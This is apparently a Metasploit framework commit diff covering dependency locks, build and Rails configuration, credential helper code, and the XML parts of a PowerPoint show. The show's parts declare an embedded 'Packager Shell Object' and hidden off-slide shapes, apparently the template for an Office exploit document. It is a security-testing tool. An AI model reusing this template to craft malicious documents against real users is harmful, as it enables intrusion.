diff-lcs (1.2.5)
erubis (2.7.0)
factory_girl (4.4.0)
activesupport (>= 3.0.0)
factory_girl_rails (4.4.1)
factory_girl (~> 4.4.0)
railties (>= 3.0.0)
ffi (1.9.3)
fivemat (1.2.1)
i18n (0.6.5)
json (1.8.0)
metasploit_data_models (0.17.0)
activerecord (>= 3.2.13)
activesupport
gherkin (2.11.6)
json (>= 1.7.6)
hike (1.2.3)
i18n (0.6.11)
journey (1.0.4)
jsobfu (0.2.1)
rkelly-remix (= 0.0.6)
json (1.8.1)
mail (2.5.4)
mime-types (~> 1.16)
treetop (~> 1.4.8)
metasploit-concern (0.3.0)
activesupport (~> 3.0, >= 3.0.0)
railties (< 4.0.0)
metasploit-credential (0.13.3)
metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.28.0)
metasploit_data_models (~> 0.21.0)
pg
mini_portile (0.5.1)
msgpack (0.5.5)
railties (< 4.0.0)
rubyntlm
rubyzip (~> 1.1)
metasploit-model (0.28.0)
activesupport
railties (< 4.0.0)
metasploit_data_models (0.21.2)
activerecord (>= 3.2.13, < 4.0.0)
activesupport
arel-helpers
metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.28.0)
pg
railties (< 4.0.0)
recog (~> 1.0)
meterpreter_bins (0.0.11)
method_source (0.8.2)
mime-types (1.25.1)
mini_portile (0.6.1)
msgpack (0.5.9)
multi_json (1.0.4)
network_interface (0.0.1)
nokogiri (1.6.0)
mini_portile (~> 0.5.0)
nokogiri (1.6.4.1)
mini_portile (~> 0.6.0)
packetfu (1.1.9)
pcaprub (0.11.3)
pg (0.16.0)
rake (10.1.0)
redcarpet (3.0.0)
pg (0.17.1)
polyglot (0.3.5)
pry (0.10.0)
coderay (~> 1.1.0)
method_source (~> 0.8.1)
slop (~> 3.4)
rack (1.4.5)
rack-cache (1.2)
rack (>= 0.4)
rack-ssl (1.3.4)
rack
rack-test (0.6.2)
rack (>= 1.0)
rails (3.2.19)
actionmailer (= 3.2.19)
actionpack (= 3.2.19)
activerecord (= 3.2.19)
activeresource (= 3.2.19)
activesupport (= 3.2.19)
bundler (~> 1.0)
railties (= 3.2.19)
railties (3.2.19)
actionpack (= 3.2.19)
activesupport (= 3.2.19)
rack-ssl (~> 1.3.2)
rake (>= 0.8.7)
rdoc (~> 3.4)
thor (>= 0.14.6, < 2.0)
rake (10.3.2)
rb-readline (0.5.1)
rdoc (3.12.2)
json (~> 1.4)
recog (1.0.5)
nokogiri
redcarpet (3.1.2)
rkelly-remix (0.0.6)
robots (0.10.1)
rspec (2.14.1)
rspec-core (~> 2.14.0)
rspec-expectations (~> 2.14.0)
rspec-mocks (~> 2.14.0)
rspec-core (2.14.5)
rspec-expectations (2.14.2)
rspec (2.99.0)
rspec-core (~> 2.99.0)
rspec-expectations (~> 2.99.0)
rspec-mocks (~> 2.99.0)
rspec-collection_matchers (1.0.0)
rspec-expectations (>= 2.99.0.beta1)
rspec-core (2.99.1)
rspec-expectations (2.99.2)
diff-lcs (>= 1.1.3, < 2.0)
rspec-mocks (2.14.3)
shoulda-matchers (2.3.0)
activesupport (>= 3.0.0)
rspec-mocks (2.99.2)
rspec-rails (2.99.0)
actionpack (>= 3.0)
activemodel (>= 3.0)
activesupport (>= 3.0)
railties (>= 3.0)
rspec-collection_matchers
rspec-core (~> 2.99.0)
rspec-expectations (~> 2.99.0)
rspec-mocks (~> 2.99.0)
rubyntlm (0.4.0)
rubyzip (1.1.6)
shoulda-matchers (2.6.2)
simplecov (0.5.4)
multi_json (~> 1.0.3)
simplecov-html (~> 0.5.3)
simplecov-html (0.5.3)
timecop (0.6.3)
tzinfo (0.3.37)
yard (0.8.7)
slop (3.6.0)
sprockets (2.2.3)
hike (~> 1.2)
multi_json (~> 1.0)
rack (~> 1.0)
tilt (~> 1.1, != 1.3.0)
sqlite3 (1.3.10)
thor (0.19.1)
tilt (1.4.1)
timecop (0.7.1)
treetop (1.4.15)
polyglot
polyglot (>= 0.3.1)
tzinfo (0.3.42)
xpath (2.0.0)
nokogiri (~> 1.3)
yard (0.8.7.4)
PLATFORMS
ruby
DEPENDENCIES
activerecord
activesupport (>= 3.0.0)
bcrypt-ruby
database_cleaner
aruba
cucumber-rails
factory_girl (>= 4.1.0)
factory_girl_rails
fivemat (= 1.2.1)
json
metasploit_data_models (~> 0.17.0)
msgpack
network_interface (~> 0.0.1)
nokogiri
packetfu (= 1.1.9)
pcaprub
pg (>= 0.11)
metasploit-framework!
metasploit-framework-db!
metasploit-framework-pcap!
pry
rake (>= 10.0.0)
redcarpet
robots
rspec (>= 2.12)
rspec (>= 2.12, < 3.0.0)
rspec-rails (>= 2.12, < 3.0.0)
shoulda-matchers
simplecov (= 0.5.4)
timecop
+1 -1
View File
@@ -10,7 +10,7 @@ CONTRIBUTING.md
in the same directory as this file, and to a lesser extent:
The Metasploit Development Environment
https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment
https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment
Common Coding Mistakes
https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
+5 -5
View File
@@ -36,6 +36,10 @@ Files: external/ruby-lorcon/*
Copyright: 2005, dragorn and Joshua Wright
License: LGPL-2.1
Files: external/source/exploits/IE11SandboxEscapes/*
Copyright: James Forshaw, 2014
License: GPLv3
Files: external/source/byakugan/*
Copyright: Lurene Grenier, 2009
License: BSD-3-clause
@@ -83,10 +87,6 @@ Files: lib/bit-struct.rb lib/bit-struct/*
Copyright: 2005-2009, Joel VanderWerf
License: Ruby
Files: lib/fastlib.rb
Copyright: 2011, Rapid7, Inc.
License: Ruby
Files: lib/metasm.rb lib/metasm/* data/cpuinfo/*
Copyright: 2006-2010 Yoann GUILLOT
License: LGPL-2.1
@@ -176,7 +176,7 @@ Files: arel
Copyright: 2007-2010 Nick Kallen, Bryan Helmkamp, Emilio Tagua, Aaron Patterson
License: MIT
Files: bcrypt-ruby
Files: bcrypt
Copyright: 2007-2011 Coda Hale
License: MIT
+5 -4
View File
@@ -24,10 +24,11 @@ The mailing list archives are available from:
Installing
--
Generally, you should use the installer which contains all dependencies
and will get you up and running with a few clicks. See the [Dev
Environment Setup][wiki-devenv] if you'd like to deal with dependencies
on your own.
Generally, you should use [the free installer](https://www.metasploit.com/download)
which contains all dependencies and will get you up and running with a
few clicks. See the [Dev Environment Setup](http://r-7.co/MSF-DEV) if
you'd like to deal with dependencies on your own.
Using Metasploit
--
Regular → Executable
+12 -78
View File
@@ -1,81 +1,15 @@
require 'bundler/setup'
pathname = Pathname.new(__FILE__)
root = pathname.parent
# add metasploit-framework/lib to load paths so rake files can just require
# files normally without having to use __FILE__ and recalculating root and the
# path to lib
lib_pathname = root.join('lib')
$LOAD_PATH.unshift(lib_pathname.to_s)
#!/usr/bin/env rake
require File.expand_path('../config/application', __FILE__)
require 'metasploit/framework/require'
require 'metasploit/framework/spec/untested_payloads'
# @note must be before `Metasploit::Framework::Application.load_tasks`
#
# load rake files like a rails engine
#
# define db rake tasks from activerecord if activerecord is in the bundle. activerecord could be not in the bundle if
# the user installs with `bundle install --without db`
Metasploit::Framework::Require.optionally_active_record_railtie
rakefile_glob = root.join('lib', 'tasks', '**', '*.rake').to_path
Dir.glob(rakefile_glob) do |rakefile|
# Skip database tasks, will load them later if MDM is present
next if rakefile =~ /database\.rake$/
load rakefile
end
print_without = false
begin
require 'rspec/core/rake_task'
rescue LoadError
puts "rspec not in bundle, so can't set up spec tasks. " \
"To run specs ensure to install the development and test groups."
print_without = true
else
RSpec::Core::RakeTask.new(:spec => 'db:test:prepare')
task :default => :spec
end
# Require yard before loading metasploit_data_models rake tasks as the yard tasks won't be defined if
# YARD is not defined when yard.rake is loaded.
begin
require 'yard'
rescue LoadError
puts "yard not in bundle, so can't set up yard tasks. " \
"To generate documentation ensure to install the development group."
print_without = true
end
begin
require 'metasploit_data_models'
rescue LoadError
puts "metasploit_data_models not in bundle, so can't set up db tasks. " \
"To run database tasks, ensure to install the db bundler group."
print_without = true
else
load 'lib/tasks/database.rake'
metasploit_data_models_task_glob = MetasploitDataModels.root.join(
'lib',
'tasks',
'**',
'*.rake'
).to_s
# include tasks from metasplioit_data_models, such as `rake yard`.
# metasploit-framework specific yard options are in .yardopts
Dir.glob(metasploit_data_models_task_glob) do |path|
load path
end
end
if print_without
puts "Bundle currently installed " \
"'--without #{Bundler.settings.without.join(' ')}'."
puts "To clear the without option do `bundle install --without ''` " \
"(the --without flag with an empty string) or " \
"`rm -rf .bundle` to remove the .bundle/config manually and " \
"then `bundle install`"
end
Metasploit::Framework::Application.load_tasks
Metasploit::Framework::Spec::Constants.define_task
Metasploit::Framework::Spec::Threads::Suite.define_task
Metasploit::Framework::Spec::UntestedPayloads.define_task
@@ -0,0 +1,23 @@
# Adds associations to `Metasploit::Credential::Core` which are inverses of association on models under
# {BruteForce::Reuse}.
require 'metasploit/framework/credential'
module Metasploit::Credential::Core::ToCredential
extend ActiveSupport::Concern
included do
def to_credential
Metasploit::Framework::Credential.new(
public: public.try(:username) || '',
private: private.try(:data) || '',
private_type: private.try(:type).try(:demodulize).try(:underscore).try(:to_sym),
realm: realm.try(:value),
realm_key: realm.try(:key),
parent: self
)
end
end
end
+2
View File
@@ -0,0 +1,2 @@
require 'metasploit/framework/file_path_validator'
require 'metasploit/framework/executable_path_validator'
@@ -0,0 +1,16 @@
module Metasploit
module Framework
# This is a ActiveModel custom validator that assumes the attribute
# is supposed to be the path to a regular file. It checks whether the
# file exists and whether or not it is an executable file.
class ExecutablePathValidator < ActiveModel::EachValidator
def validate_each(record, attribute, value)
unless ::File.executable? value
record.errors[attribute] << (options[:message] || "is not a valid path to an executable file")
end
end
end
end
end
@@ -0,0 +1,16 @@
module Metasploit
module Framework
# This is a ActiveModel custom validator that assumes the attribute
# is supposed to be the path to a regular file. It checks whether the
# file exists and whether or not it is a regular file.
class FilePathValidator < ActiveModel::EachValidator
def validate_each(record, attribute, value)
unless ::File.file? value
record.errors[attribute] << (options[:message] || "is not a valid path to a regular file")
end
end
end
end
end
+42
View File
@@ -0,0 +1,42 @@
require 'rails'
require File.expand_path('../boot', __FILE__)
all_environments = [
:development,
:production,
:test
]
Bundler.require(
*Rails.groups(
db: all_environments,
pcap: all_environments
)
)
#
# Railties
#
# For compatibility with jquery-rails (and other engines that need action_view) in pro
require 'action_view/railtie'
#
# Project
#
require 'metasploit/framework/common_engine'
require 'metasploit/framework/database'
module Metasploit
module Framework
class Application < Rails::Application
include Metasploit::Framework::CommonEngine
config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)]
end
end
end
# Silence warnings about this defaulting to true
I18n.enforce_available_locales = true
+37
View File
@@ -0,0 +1,37 @@
require 'pathname'
require 'rubygems'
GEMFILE_EXTENSIONS = [
'.local',
''
]
msfenv_real_pathname = Pathname.new(__FILE__).realpath
root = msfenv_real_pathname.parent.parent
unless ENV['BUNDLE_GEMFILE']
require 'pathname'
GEMFILE_EXTENSIONS.each do |extension|
extension_pathname = root.join("Gemfile#{extension}")
if extension_pathname.readable?
ENV['BUNDLE_GEMFILE'] = extension_pathname.to_path
break
end
end
end
begin
require 'bundler/setup'
rescue LoadError
$stderr.puts "[*] Metasploit requires the Bundler gem to be installed"
$stderr.puts " $ gem install bundler"
exit(1)
end
lib_path = root.join('lib').to_path
unless $LOAD_PATH.include? lib_path
$LOAD_PATH.unshift lib_path
end
+10
View File
@@ -0,0 +1,10 @@
<%
rerun = File.file?('rerun.txt') ? IO.read('rerun.txt') : ""
rerun_opts = rerun.to_s.strip.empty? ? "--format #{ENV['CUCUMBER_FORMAT'] || 'progress'} features" : "--format #{ENV['CUCUMBER_FORMAT'] || 'pretty'} #{rerun}"
std_opts = "--format #{ENV['CUCUMBER_FORMAT'] || 'pretty'} --strict --tags ~@wip"
ignored_tags = "--tags ~@boot --tags ~@targets"
%>
default: <%= std_opts %> <%= ignored_tags %> features
boot: <%= std_opts %> --tags @boot features
wip: --tags @wip:3 --wip features
rerun: <%= rerun_opts %> --format rerun --out rerun.txt --strict --tags ~@wip
+5
View File
@@ -0,0 +1,5 @@
# Load the rails application
require File.expand_path('../application', __FILE__)
# Initialize the rails application
Metasploit::Framework::Application.initialize!
Binary file not shown.
Binary file not shown.
Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.0 KiB

Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+55
View File
@@ -0,0 +1,55 @@
%PDF-1.0
1 0 obj
<<
/Pages 2 0 R
/Type /Catalog
>>
endobj
2 0 obj
<<
/Count 1
/Kids [ 3 0 R ]
/Type /Pages
>>
endobj
3 0 obj
<<
/Contents 4 0 R
/Parent 2 0 R
/Resources <<
/Font <<
/F1 <<
/Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
>>
>>
>>
/Type /Page
/MediaBox [ 0 0 795 842 ]
>>
endobj
4 0 obj
<<
/Length 0
>>stream
endstream
endobj
xref
0 5
0000000000 65535 f
0000000010 00000 n
0000000067 00000 n
0000000136 00000 n
0000000373 00000 n
trailer
<<
/Root 1 0 R
/Size 5
/Info 0 0 R
>>
startxref
429
%%EOF
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+2
View File
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="bin" ContentType="application/vnd.openxmlformats-officedocument.oleObject"/><Default Extension="wmf" ContentType="image/x-wmf"/><Default Extension="jpeg" ContentType="image/jpeg"/><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Default Extension="vml" ContentType="application/vnd.openxmlformats-officedocument.vmlDrawing"/><Override PartName="/ppt/presentation.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideshow.main+xml"/><Override PartName="/ppt/slideMasters/slideMaster1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideMaster+xml"/><Override PartName="/ppt/slides/slide1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slide+xml"/><Override PartName="/ppt/presProps.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.presProps+xml"/><Override PartName="/ppt/viewProps.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.viewProps+xml"/><Override PartName="/ppt/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/ppt/tableStyles.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.tableStyles+xml"/><Override PartName="/ppt/slideLayouts/slideLayout1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout2.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout3.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout4.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout5.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout6.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout7.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout8.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout9.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout10.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout11.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>
+2
View File
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/thumbnail" Target="docProps/thumbnail.jpeg"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="ppt/presentation.xml"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/></Relationships>
+2
View File
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><Template></Template><TotalTime>37</TotalTime><Words>2</Words><Application>Microsoft Office PowerPoint</Application><PresentationFormat>On-screen Show (4:3)</PresentationFormat><Paragraphs>2</Paragraphs><Slides>1</Slides><Notes>0</Notes><HiddenSlides>0</HiddenSlides><MMClips>0</MMClips><ScaleCrop>false</ScaleCrop><HeadingPairs><vt:vector size="8" baseType="variant"><vt:variant><vt:lpstr>Fonts Used</vt:lpstr></vt:variant><vt:variant><vt:i4>2</vt:i4></vt:variant><vt:variant><vt:lpstr>Theme</vt:lpstr></vt:variant><vt:variant><vt:i4>1</vt:i4></vt:variant><vt:variant><vt:lpstr>Embedded OLE Servers</vt:lpstr></vt:variant><vt:variant><vt:i4>1</vt:i4></vt:variant><vt:variant><vt:lpstr>Slide Titles</vt:lpstr></vt:variant><vt:variant><vt:i4>1</vt:i4></vt:variant></vt:vector></HeadingPairs><TitlesOfParts><vt:vector size="5" baseType="lpstr"><vt:lpstr>Arial</vt:lpstr><vt:lpstr>Calibri</vt:lpstr><vt:lpstr>Office Theme</vt:lpstr><vt:lpstr>Packager Shell Object</vt:lpstr><vt:lpstr>Example</vt:lpstr></vt:vector></TitlesOfParts><Company></Company><LinksUpToDate>false</LinksUpToDate><SharedDoc>false</SharedDoc><HyperlinksChanged>false</HyperlinksChanged><AppVersion>15.0000</AppVersion></Properties>
+2
View File
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dc:title>Example</dc:title><cp:lastModifiedBy>Windows User</cp:lastModifiedBy><cp:revision>8</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">2014-08-06T07:56:10Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2014-10-16T21:26:22Z</dcterms:modified></cp:coreProperties>
Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/presProps" Target="presProps.xml" />
<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slide" Target="slides/slide1.xml" />
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="slideMasters/slideMaster1.xml" />
<Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/tableStyles" Target="tableStyles.xml" />
<Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml" />
<Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/viewProps" Target="viewProps.xml" />
</Relationships>
@@ -0,0 +1,5 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="../media/image2.wmf" />
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="../media/image1.wmf" />
</Relationships>
@@ -0,0 +1,37 @@
<xml xmlns:v="urn:schemas-microsoft-com:vml"
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:p="urn:schemas-microsoft-com:office:powerpoint"
xmlns:oa="urn:schemas-microsoft-com:office:activation">
<o:shapelayout v:ext="edit">
<o:idmap v:ext="edit" data="1"/>
</o:shapelayout><v:shapetype id="_x0000_t75" coordsize="21600,21600" o:spt="75"
o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f">
<v:stroke joinstyle="miter"/>
<v:formulas>
<v:f eqn="if lineDrawn pixelLineWidth 0"/>
<v:f eqn="sum @0 1 0"/>
<v:f eqn="sum 0 0 @1"/>
<v:f eqn="prod @2 1 2"/>
<v:f eqn="prod @3 21600 pixelWidth"/>
<v:f eqn="prod @3 21600 pixelHeight"/>
<v:f eqn="sum @0 0 1"/>
<v:f eqn="prod @6 1 2"/>
<v:f eqn="prod @7 21600 pixelWidth"/>
<v:f eqn="sum @8 21600 0"/>
<v:f eqn="prod @7 21600 pixelHeight"/>
<v:f eqn="sum @10 21600 0"/>
</v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/>
<o:lock v:ext="edit" aspectratio="t"/>
</v:shapetype><v:shape id="_x0000_s1032" type="#_x0000_t75" style='position:absolute;left:100pt;top:-100pt;width:30pt;height:30pt'>
<v:fill color="white" opacity="1" on="f" type="solid"/>
<v:stroke on="f"/>
<v:imagedata o:relid="rId1" o:title="" croptop="0" cropbottom="0" cropleft="0"
cropright="0" grayscale="f" bilevel="f"/>
<o:lock v:ext="edit" aspectratio="t" position="f" selection="f" grouping="f"/>
</v:shape><v:shape id="_x0000_s1033" type="#_x0000_t75" style='position:absolute;left:150pt;top:-100pt;width:30pt;height:30pt'>
<v:fill color="white" opacity="1" on="f" type="solid"/>
<v:stroke on="f"/>
<v:imagedata o:relid="rId2" o:title="" croptop="0" cropbottom="0" cropleft="0"
cropright="0" grayscale="f" bilevel="f"/>
<o:lock v:ext="edit" aspectratio="t" position="f" selection="f" grouping="f"/>
</v:shape></xml>
Binary file not shown.
Binary file not shown.
+2
View File
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:presentationPr xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main"><p:extLst><p:ext uri="{E76CE94A-603C-4142-B9EB-6D1370010A27}"><p14:discardImageEditData xmlns:p14="http://schemas.microsoft.com/office/powerpoint/2010/main" val="0"/></p:ext><p:ext uri="{D31A062A-798A-4329-ABDD-BBA856620510}"><p14:defaultImageDpi xmlns:p14="http://schemas.microsoft.com/office/powerpoint/2010/main" val="220"/></p:ext><p:ext uri="{FD5EFAAD-0ECE-453E-9831-46B23BE46B34}"><p15:chartTrackingRefBased xmlns:p15="http://schemas.microsoft.com/office/powerpoint/2012/main" val="0"/></p:ext></p:extLst></p:presentationPr>
+121
View File
@@ -0,0 +1,121 @@
<p:presentation xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" saveSubsetFonts="1">
<p:sldMasterIdLst>
<p:sldMasterId id="2147483648" r:id="rId1" />
</p:sldMasterIdLst>
<p:sldIdLst>
<p:sldId id="256" r:id="rId2" />
</p:sldIdLst>
<p:sldSz cx="9144000" cy="6858000" type="screen4x3" />
<p:notesSz cx="6858000" cy="9144000" />
<p:defaultTextStyle>
<a:defPPr>
<a:defRPr lang="en-US" />
</a:defPPr>
<a:lvl1pPr marL="0" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
<a:defRPr sz="1800" kern="1200">
<a:solidFill>
<a:schemeClr val="tx1" />
</a:solidFill>
<a:latin typeface="+mn-lt" />
<a:ea typeface="+mn-ea" />
<a:cs typeface="+mn-cs" />
</a:defRPr>
</a:lvl1pPr>
<a:lvl2pPr marL="457200" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
<a:defRPr sz="1800" kern="1200">
<a:solidFill>
<a:schemeClr val="tx1" />
</a:solidFill>
<a:latin typeface="+mn-lt" />
<a:ea typeface="+mn-ea" />
<a:cs typeface="+mn-cs" />
</a:defRPr>
</a:lvl2pPr>
<a:lvl3pPr marL="914400" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
<a:defRPr sz="1800" kern="1200">
<a:solidFill>
<a:schemeClr val="tx1" />
</a:solidFill>
<a:latin typeface="+mn-lt" />
<a:ea typeface="+mn-ea" />
<a:cs typeface="+mn-cs" />
</a:defRPr>
</a:lvl3pPr>
<a:lvl4pPr marL="1371600" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
<a:defRPr sz="1800" kern="1200">
<a:solidFill>
<a:schemeClr val="tx1" />
</a:solidFill>
<a:latin typeface="+mn-lt" />
<a:ea typeface="+mn-ea" />
<a:cs typeface="+mn-cs" />
</a:defRPr>
</a:lvl4pPr>
<a:lvl5pPr marL="1828800" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
<a:defRPr sz="1800" kern="1200">
<a:solidFill>
<a:schemeClr val="tx1" />
</a:solidFill>
<a:latin typeface="+mn-lt" />
<a:ea typeface="+mn-ea" />
<a:cs typeface="+mn-cs" />
</a:defRPr>
</a:lvl5pPr>
<a:lvl6pPr marL="2286000" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
<a:defRPr sz="1800" kern="1200">
<a:solidFill>
<a:schemeClr val="tx1" />
</a:solidFill>
<a:latin typeface="+mn-lt" />
<a:ea typeface="+mn-ea" />
<a:cs typeface="+mn-cs" />
</a:defRPr>
</a:lvl6pPr>
<a:lvl7pPr marL="2743200" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
<a:defRPr sz="1800" kern="1200">
<a:solidFill>
<a:schemeClr val="tx1" />
</a:solidFill>
<a:latin typeface="+mn-lt" />
<a:ea typeface="+mn-ea" />
<a:cs typeface="+mn-cs" />
</a:defRPr>
</a:lvl7pPr>
<a:lvl8pPr marL="3200400" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
<a:defRPr sz="1800" kern="1200">
<a:solidFill>
<a:schemeClr val="tx1" />
</a:solidFill>
<a:latin typeface="+mn-lt" />
<a:ea typeface="+mn-ea" />
<a:cs typeface="+mn-cs" />
</a:defRPr>
</a:lvl8pPr>
<a:lvl9pPr marL="3657600" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
<a:defRPr sz="1800" kern="1200">
<a:solidFill>
<a:schemeClr val="tx1" />
</a:solidFill>
<a:latin typeface="+mn-lt" />
<a:ea typeface="+mn-ea" />
<a:cs typeface="+mn-cs" />
</a:defRPr>
</a:lvl9pPr>
</p:defaultTextStyle>
<p:extLst>
<p:ext uri="{EFAFB233-063F-42B5-8137-9DF3F51BA10A}">
<p15:sldGuideLst xmlns:p15="http://schemas.microsoft.com/office/powerpoint/2012/main">
<p15:guide id="1" orient="horz" pos="2160">
<p15:clr>
<a:srgbClr val="A4A3A4" />
</p15:clr>
</p15:guide>
<p15:guide id="2" pos="2880">
<p15:clr>
<a:srgbClr val="A4A3A4" />
</p15:clr>
</p15:guide>
</p15:sldGuideLst>
</p:ext>
</p:extLst>
</p:presentation>
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml" />
</Relationships>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
